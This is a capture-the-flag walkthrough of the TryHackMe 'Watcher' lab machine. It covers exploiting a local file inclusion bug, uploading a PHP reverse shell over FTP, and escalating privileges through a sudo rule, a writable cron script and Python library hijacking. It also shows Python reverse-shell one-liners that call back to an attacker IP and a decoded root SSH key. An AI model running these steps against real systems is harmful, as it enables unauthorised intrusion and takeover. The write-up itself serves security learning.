TryHackMe-Watcher

From aldeid
Jump to navigation Jump to search

A boot2root Linux machine utilising web exploits along with some common privilege escalation techniques.

Flag 1

Hint: https://moz.com/learn/seo/robotstxt

Nmap reveals 3 services:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA)
|   256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA)
|_  256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Jekyll v4.1.1
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Corkplacemats
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

The FTP service doesn’t allow anonymous access. Let’s continue with the web service. There is a robots.txt file that discloses 2 locations:

kali@kali:/data/Watcher$ curl -s http://10.10.85.119/robots.txt
User-agent: *
Allow: /flag_1.txt
Allow: /secret_file_do_not_read.txt

The first location is the flag:

kali@kali:/data/Watcher$ curl -s http://10.10.85.119/flag_1.txt
FLAG{robots_dot_text_what_is_next}

Flag #1: FLAG{robots_dot_text_what_is_next}

Flag 2

Hint: https://www.netsparker.com/blog/web-security/local-file-inclusion-vulnerability/

The other location in the robots.txt leads to a 403 error page, we’ll check that later.

kali@kali:/data/Watcher$ curl -s http://10.10.85.119/secret_file_do_not_read.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.85.119 Port 80</address>
</body></html>

The web service hosts a CMS with 3 posts. The links are as follows:

It seems there is no control on the post parameter sent to the post.php script. Indeed, we can read arbitrary files:

kali@kali:/data/Watcher$ curl -s http://10.10.85.119/post.php?post=/etc/passwd

[REDACTED]

<div class="row">
 <div class="col-2"></div>
 <div class="col-8">
  root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
will:x:1000:1000:will:/home/will:/bin/bash
ftp:x:111:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
ftpuser:x:1001:1001:,,,:/home/ftpuser:/usr/sbin/nologin
mat:x:1002:1002:,#,,:/home/mat:/bin/bash
toby:x:1003:1003:,,,:/home/toby:/bin/bash
 </div>
</div>

</main>

<footer class="text-muted">
  <div class="container">
    <p class="float-right">
      <a href="#">Back to top</a>
    </p>
    <p>&copy; Corkplacemats 2020</p>
  </div>
</footer>
</html>

Let’s try to read the other file listed in the robots.txt file:

kali@kali:/data/Watcher$ curl -s http://10.10.85.119/post.php?post=secret_file_do_not_read.txt

[REDACTED]

<div class="row">
 <div class="col-2"></div>
 <div class="col-8">
  Hi Mat,

The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files.

Will

----------

ftpuser:givemefiles777
 </div>
</div>

</main>

<footer class="text-muted">
  <div class="container">
    <p class="float-right">
      <a href="#">Back to top</a>
    </p>
    <p>&copy; Corkplacemats 2020</p>
  </div>
</footer>
</html>

The file contains credentials (ftpuser:givemefiles777) to connect to the FTP service. Let’s connect:

kali@kali:/data/Watcher$ ftp 10.10.85.119
Connected to 10.10.85.119.
220 (vsFTPd 3.0.3)
Name (10.10.85.119:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.

The FTP service hosts a file and a directory (with write access).

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 files
-rw-r--r--    1 0        0              21 Dec 03 01:58 flag_2.txt
226 Directory send OK.
ftp> get flag_2.txt -
remote: flag_2.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag_2.txt (21 bytes).
FLAG{ftp_you_and_me}
226 Transfer complete.
21 bytes received in 0.00 secs (6.5772 kB/s)

Flag #2: FLAG{ftp_you_and_me}

Flag 3

Hint: https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-2

From the previous secret, we are told that files are saved to /home/ftpuser/ftp/files, and we know that the FTP service allows file uploads. Let’s upload a PHP reverse shell:

kali@kali:/data/Watcher/files$ ftp 10.10.85.119
Connected to 10.10.85.119.
220 (vsFTPd 3.0.3)
Name (10.10.85.119:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd files
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Dec 03 03:30 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
226 Directory send OK.
ftp> put rev.php
local: rev.php remote: rev.php
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5492 bytes sent in 0.00 secs (59.5179 MB/s)
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 Apr 28 12:06 .
dr-xr-xr-x    3 65534    65534        4096 Dec 03 01:58 ..
-rw-r--r--    1 1001     1001         5492 Apr 28 12:06 rev.php
226 Directory send OK.
ftp> pwd
257 "/files" is the current directory
ftp> exit
221 Goodbye.

Now, let’s exploit the LFI vulnerability to include our reverse shell:

kali@kali:/data/Watcher/files$ curl -s http://10.10.85.119/post.php?post=/home/ftpuser/ftp/files/rev.php

We now have a working shell:

kali@kali:/data/Watcher$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.85.119] 53822
Linux watcher 4.15.0-128-generic #131-Ubuntu SMP Wed Dec 9 06:57:35 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
 12:09:37 up 59 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@watcher:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Let’s search for the 3rd flag:

www-data@watcher:/home$ find / -type f -name flag_3.txt 2>/dev/null
find / -type f -name flag_3.txt 2>/dev/null
/var/www/html/more_secrets_a9f10a/flag_3.txt
www-data@watcher:/home$ cat /var/www/html/more_secrets_a9f10a/flag_3.txt
cat /var/www/html/more_secrets_a9f10a/flag_3.txt
FLAG{lfi_what_a_guy}

Flag #3: FLAG{lfi_what_a_guy}

Flag 4

Hint: https://www.explainshell.com/explain?cmd=sudo+-l

The next flag is in toby’s home folder, and is only readable by toby:

www-data@watcher:/home$ find / -type f -name flag_4.txt -exec ls -l {} + 2>/dev/null
<ype f -name flag_4.txt -exec ls -l {} + 2>/dev/null
-rw------- 1 toby toby 21 Dec  3 01:58 /home/toby/flag_4.txt

Checking our privileges reveals that www-data can execute any command as toby using sudo without password:

www-data@watcher:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on watcher:
    (toby) NOPASSWD: ALL

Let’s spawn a shell:

www-data@watcher:/home$ sudo -u toby /bin/bash
sudo -u toby /bin/bash
toby@watcher:/home$ cat /home/toby/flag_4.txt
cat /home/toby/flag_4.txt
FLAG{chad_lifestyle}

Flag #4: FLAG{chad_lifestyle}

Flag 5

Hint: https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs

Only mat can read the next flag:

toby@watcher:/home$ find / -type f -name flag_5.txt -exec ls -l {} + 2>/dev/null
<ype f -name flag_5.txt -exec ls -l {} + 2>/dev/null
-rw------- 1 mat mat 37 Dec  3 01:58 /home/mat/flag_5.txt

There is a note in toby’s home that gives hints:

toby@watcher:~$ cat note.txt 
Hi Toby,

I've got the cron jobs set up now so don't worry about getting that done.

Mat

Indeed, there is a cron job that runs every minute, executed by mat:

www-data@watcher:/home$ cat /etc/crontab

[REDACTED]

*/1 * * * * mat /home/toby/jobs/cow.sh

The script is owned by toby, we can modify it:

toby@watcher:~$ ls -l /home/toby/jobs/cow.sh
-rwxr-xr-x 1 toby toby 46 Dec  3 03:31 /home/toby/jobs/cow.sh

Let’s put a reverse shell that will be executed by mat:

$ cat > /home/toby/jobs/cow.sh << EOF
#!/bin/bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.50.72",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
EOF

One minute later, we have a shell and we can read the flag:

kali@kali:/data/vpn$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.85.119] 53844
bash: cannot set terminal process group (3019): Inappropriate ioctl for device
bash: no job control in this shell
mat@watcher:~$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
mat@watcher:~$ cd /home/mat
cd /home/mat
mat@watcher:~$ cat flag_5.txt
cat flag_5.txt
FLAG{live_by_the_cow_die_by_the_cow}

Flag #5: FLAG{live_by_the_cow_die_by_the_cow}

Flag 6

Hint: https://book.hacktricks.xyz/linux-unix/privilege-escalation#python-library-hijacking

Flag #6 is owned by will:

mat@watcher:~$ find / -type f -name flag_6.txt -exec ls -l {} + 2>/dev/null
find / -type f -name flag_6.txt -exec ls -l {} + 2>/dev/null
-rw------- 1 will will 41 Dec  3 01:58 /home/will/flag_6.txt

The note in mat’s home tells us about scripts we can run with sudo:

mat@watcher:~$ cat /home/mat/note.txt
cat /home/mat/note.txt
Hi Mat,

I've set up your sudo rights to use the python script as my user. You can only run the script with sudo so it should be safe.

Will

Let’s check our privileges:

mat@watcher:~$ sudo -l
sudo -l
Matching Defaults entries for mat on watcher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mat may run the following commands on watcher:
    (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

We can run the following script as will:

mat@watcher:~$ cat /home/mat/scripts/will_script.py
import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])

whitelist = ["ls -lah", "id", "cat /etc/passwd"]

if cmd not in whitelist:
    print("Invalid command!")
    exit()

os.system(cmd)

The above scripts includes the below function, from the cmd.py script:

mat@watcher:~/scripts$ cat cmd.py
def get_command(num):
    if(num == "1"):
        return "ls -lah"
    if(num == "2"):
        return "id"
    if(num == "3"):
        return "cat /etc/passwd"

As we have write access to the cmd.py script, let’s insert a python reverse shell:

mat@watcher:~/scripts$ cat cmd.py
import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.8.50.72",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

def get_command(num):
    if(num == "1"):
        return "ls -lah"
    if(num == "2"):
        return "id"
    if(num == "3"):
        return "cat /etc/passwd"

And now, call the main script as will with sudo:

$ sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1

You should now have a reverse shell as will. Let’s get the flag:

kali@kali:/data/Watcher/files$ rlwrap nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.85.119] 45636
$ python3 -c "import pty;pty.spawn('/bin/bash')"
will@watcher:~/scripts$ id
id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)
will@watcher:~/scripts$ cd /home/will
cd /home/will
will@watcher:/home/will$ cat flag_6.txt
cat flag_6.txt
FLAG{but_i_thought_my_script_was_secure}

Flag #6: FLAG{but_i_thought_my_script_was_secure}

Flag 7

Hint: https://explainshell.com/explain?cmd=ssh%20-i%20keyfile%20host

Searching for flag #7 using find leads nowhere, probably because this is the root flag.

will@watcher:/home/will$ find / -type f -name flag_7.txt -exec ls -l {} + 2>/dev/null
<ype f -name flag_7.txt -exec ls -l {} + 2>/dev/null

Using id, we see that will is member of an adm group. Let’s search for files owned by this group:

will@watcher:/home/will$ id
id
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)
will@watcher:/home/will$ find / -type f -group adm -exec ls -l {} + 2>/dev/null
<d / -type f -group adm -exec ls -l {} + 2>/dev/null
-rw-rw---- 1 root   adm    2270 Dec  3 02:04 /opt/backups/key.b64
-rw-r----- 1 root   adm   41152 Apr 28 12:01 /var/log/apache2/access.log
-rw-r----- 1 root   adm   11176 Apr 28 12:59 /var/log/apache2/error.log
-rw-r----- 1 root   adm       0 Dec  3 01:39 /var/log/apache2/other_vhosts_access.log
-rw-r----- 1 root   adm   28898 Dec 12 15:23 /var/log/apt/term.log
-rw-r----- 1 syslog adm   84878 Apr 28 13:57 /var/log/auth.log
-rw-r--r-- 1 syslog adm  637232 Apr 28 11:13 /var/log/cloud-init.log
-rw-r----- 1 syslog adm 1548107 Apr 28 11:13 /var/log/kern.log
-rw-r----- 1 syslog adm 1960650 Apr 28 13:57 /var/log/syslog
-rw-r--r-- 1 root   adm   43890 Dec 12 15:23 /var/log/unattended-upgrades/unattended-upgrades-dpkg.log

There is a base64 encoded file in /opt/backups that, once decoded, is a SSH private key, likely for root, as this is the final flag:

will@watcher:/home/will$ cat /opt/backups/key.b64 | base64 -d > /home/will/ssh.key
<pt/backups/key.b64 | base64 -d > /home/will/ssh.key

Transfer the SSH key to Kali, give it the proper privileges and connect as root.

kali@kali:/data/Watcher/files$ chmod 600 ssh.key 
kali@kali:/data/Watcher/files$ ssh -i ssh.key [email protected]

Now connected as root, we can get the final flag:

root@watcher:~# cd /root
root@watcher:~# ll
total 40
drwx------  6 root root 4096 Dec  3 02:32 ./
drwxr-xr-x 24 root root 4096 Dec 12 15:22 ../
lrwxrwxrwx  1 root root    9 Dec  3 02:32 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  2 root root 4096 Dec  3 01:42 .cache/
-rw-r--r--  1 root root   31 Dec  3 02:26 flag_7.txt
drwx------  3 root root 4096 Dec  3 01:42 .gnupg/
drwxr-xr-x  3 root root 4096 Dec  3 01:41 .local/
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Dec  3 02:07 .selected_editor
drwx------  2 root root 4096 Dec  3 02:04 .ssh/
root@watcher:~# cat flag_7.txt 
FLAG{who_watches_the_watchers}

Flag #7: FLAG{who_watches_the_watchers}